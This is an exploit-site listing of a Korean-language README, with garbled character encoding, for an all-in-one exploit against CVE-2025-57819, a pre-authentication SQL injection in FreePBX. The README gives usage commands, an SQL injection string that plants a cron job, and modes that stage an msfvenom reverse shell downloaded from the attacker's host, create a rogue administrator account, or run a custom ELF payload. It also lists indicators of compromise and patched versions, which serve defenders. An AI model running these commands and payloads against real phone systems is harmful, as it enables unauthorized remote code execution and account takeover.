Sploitus

CVE-2025-57819-exploit

kitploit Β· 2026-08-24

Exploit Code

MARKDOWN160 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JEANBACK1-CVE-2025-57819-EXPLOIT
# CVE-2025-57819 β€” FreePBX 사전 인증 SQL μ‚½μž…μ„ ν†΅ν•œ 원격 μ½”λ“œ μ‹€ν–‰

**CVE-2025-57819** λ₯Ό μœ„ν•œ μ˜¬μΈμ› μ΅μŠ€ν”Œλ‘œμž‡μž…λ‹ˆλ‹€. FreePBX의 μ—”λ“œν¬μΈνŠΈ λͺ¨λ“ˆμ— μžˆλŠ” μΈμ¦λ˜μ§€ μ•Šμ€ SQL μ‚½μž… μ·¨μ•½μ μœΌλ‘œ, 크둠 μž‘μ—… μ‚½μž…μ„ 톡해 원격 μ½”λ“œ μ‹€ν–‰μœΌλ‘œ μ΄μ–΄μ§‘λ‹ˆλ‹€.

  * **CVSS** : 9.8 (심각) β€” CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  * **CISA KEV** : 2025λ…„ 8μ›” 29일 μΆ”κ°€
  * **영ν–₯** : Sangoma FreePBX 15, 16, 17, μ—”λ“œν¬μΈνŠΈ λͺ¨λ“ˆ < 15.0.66 / < 16.0.89 / < 17.0.3
  * **패치 버전** : endpoint 15.0.66, 16.0.89, 17.0.3



## 취약점 μš”μ•½

FreePBXλŠ” 인증 없이 `admin/ajax.php?module=FreePBX\modules\endpoint\ajax` μ—”λ“œν¬μΈνŠΈλ₯Ό λ…ΈμΆœν•©λ‹ˆλ‹€ (**CWE-288**). `brand` λ§€κ°œλ³€μˆ˜κ°€ μ‚΄κ·  처리 없이 SQL 쿼리에 직접 μ „λ‹¬λ˜μ–΄ (**CWE-89**), κ³΅κ²©μžκ°€ `asterisk` λ°μ΄ν„°λ² μ΄μŠ€μ— μž„μ˜μ˜ SQL 문을 μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

### 곡격 체인

root@kitploit:~
    
    
    [Unauthenticated HTTP request]
            β”‚
            β–Ό
    admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
            β”‚
            β–Ό
    SQL Injection into `cron_jobs` table
    (INSERT with attacker-controlled command, schedule="* * * * *")
            β”‚
            β–Ό
    Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
            β”‚
            β–Ό
    Remote Code Execution
    

## μ΅μŠ€ν”Œλ‘œμž‡ κΈ°λŠ₯

이 μ΅μŠ€ν”Œλ‘œμž‡μ€ μ„Έ κ°€μ§€ λͺ¨λ“œλ₯Ό μ§€μ›ν•©λ‹ˆλ‹€:

### 1\. μŠ€ν…Œμ΄μ§•λœ μ—­λ°©ν–₯ μ…Έ (κΈ°λ³Έκ°’)

  1. `msfvenom`을 톡해 `linux/x64/shell_reverse_tcp` λ°”μ΄λ„ˆλ¦¬ 생성
  2. λ°”μ΄λ„ˆλ¦¬λ₯Ό μ œκ³΅ν•˜κΈ° μœ„ν•œ HTTP μ„œλ²„ μ‹œμž‘
  3. 셸을 μœ„ν•œ TCP λ¦¬μŠ€λ„ˆ μ‹œμž‘
  4. SQLiλ₯Ό 톡해 λ°”μ΄λ„ˆλ¦¬λ₯Ό λ‹€μš΄λ‘œλ“œ 및 μ‹€ν–‰ν•˜λŠ” 크둠 μž‘μ—… μ£Όμž…
  5. 크둠이 μ‹€ν–‰λ˜λ©΄ λŒ€ν™”ν˜• μ…Έ νšλ“
  6. μ’…λ£Œ μ‹œ μ£Όμž…λœ 크둠 μž‘μ—… 정리



root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
    

**μ˜ˆμ‹œ:**

root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
    

μ—­λ°©ν–₯ μ…Έμ—λŠ” 포트 4452λ₯Ό, HTTP μŠ€ν…Œμ΄μ§€ μ„œλ²„μ—λŠ” 포트 4453을 μ‚¬μš©ν•©λ‹ˆλ‹€.

### 2\. κ΄€λ¦¬μž μ‚¬μš©μž 생성 (`--create-user`)

SQLiλ₯Ό 톡해 μƒˆλ‘œμš΄ FreePBX κ΄€λ¦¬μž 계정을 μƒμ„±ν•©λ‹ˆλ‹€. μ—­λ°©ν–₯ μ…Έ, 리치백, λ°”μ΄λ„ˆλ¦¬κ°€ ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
    

### 3\. μ‚¬μš©μž μ •μ˜ νŽ˜μ΄λ‘œλ“œ (`--payload <path>`)

msfvenom으둜 μƒμ„±ν•˜λŠ” λŒ€μ‹  μžμ‹ μ˜ ELF λ°”μ΄λ„ˆλ¦¬λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€.

root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
        --payload /path/to/custom_shell.elf
    

## μš”κ΅¬ 사항

  * Python 3.6+
  * `requests` 라이브러리 (`pip install requests`)
  * **μŠ€ν…Œμ΄μ§€ λͺ¨λ“œ** : Metasploit (`msfvenom`) λ˜λŠ” `--payload`λ₯Ό μ΄μš©ν•œ μ‚¬μš©μž μ •μ˜ νŽ˜μ΄λ‘œλ“œ
  * **`--create-user` λͺ¨λ“œ**: Python + requests μ™Έμ—λŠ” ν•„μš”ν•˜μ§€ μ•ŠμŒ



## μž‘λ™ 방식

### SQL μ‚½μž… 벑터

μ·¨μ•½ν•œ μ—”λ“œν¬μΈνŠΈλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

root@kitploit:~
    
    
    GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
    

`brand` λ§€κ°œλ³€μˆ˜κ°€ μ‚΄κ·  처리 없이 SQL INSERT에 μ—°κ²°λ©λ‹ˆλ‹€. μ΅μŠ€ν”Œλ‘œμž‡μ€ λ‹€μŒκ³Ό 같이 μ£Όμž…μ„ κ΅¬μ„±ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    ';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
    

끝의 `--`λŠ” μ›λž˜ 쿼리의 λ‚˜λ¨Έμ§€ 뢀뢄을 주석 μ²˜λ¦¬ν•©λ‹ˆλ‹€.

### 크둠 μ‹€ν–‰

FreePBXλŠ” Asterisk cron ν•˜μœ„ μ‹œμŠ€ν…œμ„ μ‚¬μš©ν•©λ‹ˆλ‹€. 크둠 μž‘μ—…μ€ λ§€ λΆ„λ§ˆλ‹€ ν™•μΈλ©λ‹ˆλ‹€. μ‚½μž…λœ μž‘μ—…μ˜ 일정(`* * * * *`)이 μΌμΉ˜ν•˜λ©΄ λͺ…령이 `asterisk` μ‹œμŠ€ν…œ μ‚¬μš©μžλ‘œ μ‹€ν–‰λ©λ‹ˆλ‹€.

### 정리

μ„Έμ…˜μ΄ μ’…λ£Œλ˜κ±°λ‚˜ νƒ€μž„μ•„μ›ƒλ˜λ©΄, μ΅μŠ€ν”Œλ‘œμž‡μ€ DELETE SQLiλ₯Ό μ „μ†‘ν•˜μ—¬ `cron_jobs`μ—μ„œ μ£Όμž…λœ 크둠 μž‘μ—…μ„ μ œκ±°ν•©λ‹ˆλ‹€.

## μΉ¨ν•΄ μ§€ν‘œ

  * `asterisk.cron_jobs`에 λ¬΄μž‘μœ„ λͺ¨λ“ˆ/μž‘μ—… μ΄λ¦„μœΌλ‘œ μ˜ˆμƒμΉ˜ λͺ»ν•œ ν•­λͺ©μ΄ λ‚˜νƒ€λ‚¨
  * FreePBX μ„œλ²„μ—μ„œ 높은 포트의 μ™ΈλΆ€ IP둜 ν–₯ν•˜λŠ” μ•„μ›ƒλ°”μš΄λ“œ HTTP μš”μ²­
  * `asterisk` μ‚¬μš©μžμ˜ μ—­λ°©ν–₯ μ…Έ μ—°κ²°
  * `ampusers`에 λ¬΄μž‘μœ„ μƒˆ κ΄€λ¦¬μž 계정이 생성됨 (`--create-user` λͺ¨λ“œμΈ 경우)



## μ™„ν™” 쑰치

μ—”λ“œν¬μΈνŠΈ λͺ¨λ“ˆμ„ 패치된 λ²„μ „μœΌλ‘œ μ—…λ°μ΄νŠΈν•˜μ„Έμš”:

  * **15** : >= 15.0.66
  * **16** : >= 16.0.89
  * **17** : >= 17.0.3



## 참고 자료

  * NVD β€” CVE-2025-57819
  * GitHub Security Advisory β€” GHSA-m42g-xg4c-5f3h
  * CISA Known Exploited Vulnerabilities
  * watchTowr Labs
  * FreePBX Community Advisory



## λ©΄μ±… μ‘°ν•­

이 μ†Œν”„νŠΈμ›¨μ–΄λŠ” ꡐ윑 및 승인된 λ³΄μ•ˆ ν…ŒμŠ€νŠΈ λͺ©μ μœΌλ‘œλ§Œ μ œκ³΅λ©λ‹ˆλ‹€. μ†Œμœ ν•˜μ§€ μ•Šκ±°λ‚˜ ν…ŒμŠ€νŠΈμ— λŒ€ν•œ λͺ…μ‹œμ  κΆŒν•œμ΄ μ—†λŠ” μ‹œμŠ€ν…œμ— λŒ€ν•œ 무단 μ‚¬μš©μ€ λΆˆλ²•μž…λ‹ˆλ‹€. μž‘μ„±μžλŠ” μ–΄λ– ν•œ μ˜€μš©μ— λŒ€ν•΄μ„œλ„ μ±…μž„μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.